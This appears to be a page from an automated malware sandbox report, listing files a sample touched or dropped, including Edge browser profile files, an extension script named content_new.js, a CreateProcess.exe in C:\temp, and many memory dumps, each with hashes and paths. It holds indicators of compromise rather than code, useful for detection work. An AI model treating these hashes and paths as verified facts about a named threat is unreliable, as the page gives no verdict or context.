MD5 3e26368ed2f91d465f0f882ce2e51263
SHA1 fb1f4fdbae7f6b134b0f7537daeae52552273e12
SHA512 3cf97cfc282b8033849626db544aaf2fefb7ae303520cf23c497bc35af04c1899149408b2c532ced9bf14dfd063036618d09cdfc1abcf3a86b92711d29fd9d30
SSDEEP 768:Mrv+4UNbd93PD3XtkKL22YjF669yrqUjWiIwwxMtmMZH:MbsbP3PDaBjF66INWZTMwSH
TLSH
T13003BF70A8689A77C9F6D785B21333C3BF7411A385C40F88DADDA70D498B4D9274B92B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 2cbb29585040513581306f56918960372fbe02a0d16ced7336270d5085546af2
MD5 e43f3be38d7dfbb56f6326ed3340a670
SHA1 bf3bce3b70ecad82979c4206f352d85c46fca499
SHA512 9ba16c9952151db49a1b42fac90b7e58b9b57b1bac6cb00023fef56bd4e3f0da98360ce27535c3052c326770d3d5341630f3aed5edbc7d69fc3c3d456541b254
SSDEEP 768:LF1j+9c3NwgTtn9EomnF669yrqUjWiIwwxMtmb9Mn:K9c3ftSnF66INWZTMwb+n
TLSH
T177133AF598D78A77D8EE8783633D2E859EBCC1A3B5844984B7C85E0CCC861BFC646815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

ffc1509a-1bbb-44fc-a31c-53f57a7de153.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ffc1509a-1bbb-44fc-a31c-53f57a7de153.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1304_403203209\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 a9b125ad3d8666e22b58ba325f000c06cd935305829a866486b509305caa330d
MD5 0a6a1ae42753ddb5490ff13a872f1e1a
SHA1 7c74c60462ce28d80d81bc1f99e6194c05dd2bc9
SHA512 9e2fcf597d0ef6d9eb78660db4f211ba45592cfb5950084543c550a0adffce0a0db7f94d0bc13648f7dccab89b7d4f905925e93af5e97059d78c82a3e6aa7a28
TLSH
T13971238357B9CAF3C1DB5BF002839648F1FF22380B2370240B555546AB30A7E28B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/428-152-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1424-313-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1424-274-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1788-199-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1972-505-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2156-368-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2156-341-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2536-419-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3420-345-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3904-63-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4456-387-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4472-322-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4532-450-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4628-375-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4700-415-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4756-488-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5620-326-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5632-439-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5632-452-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5632-260-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5632-305-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5748-476-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5844-456-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5844-312-0x0000000000010000-0x00000000000AB000-memory.dmp

Download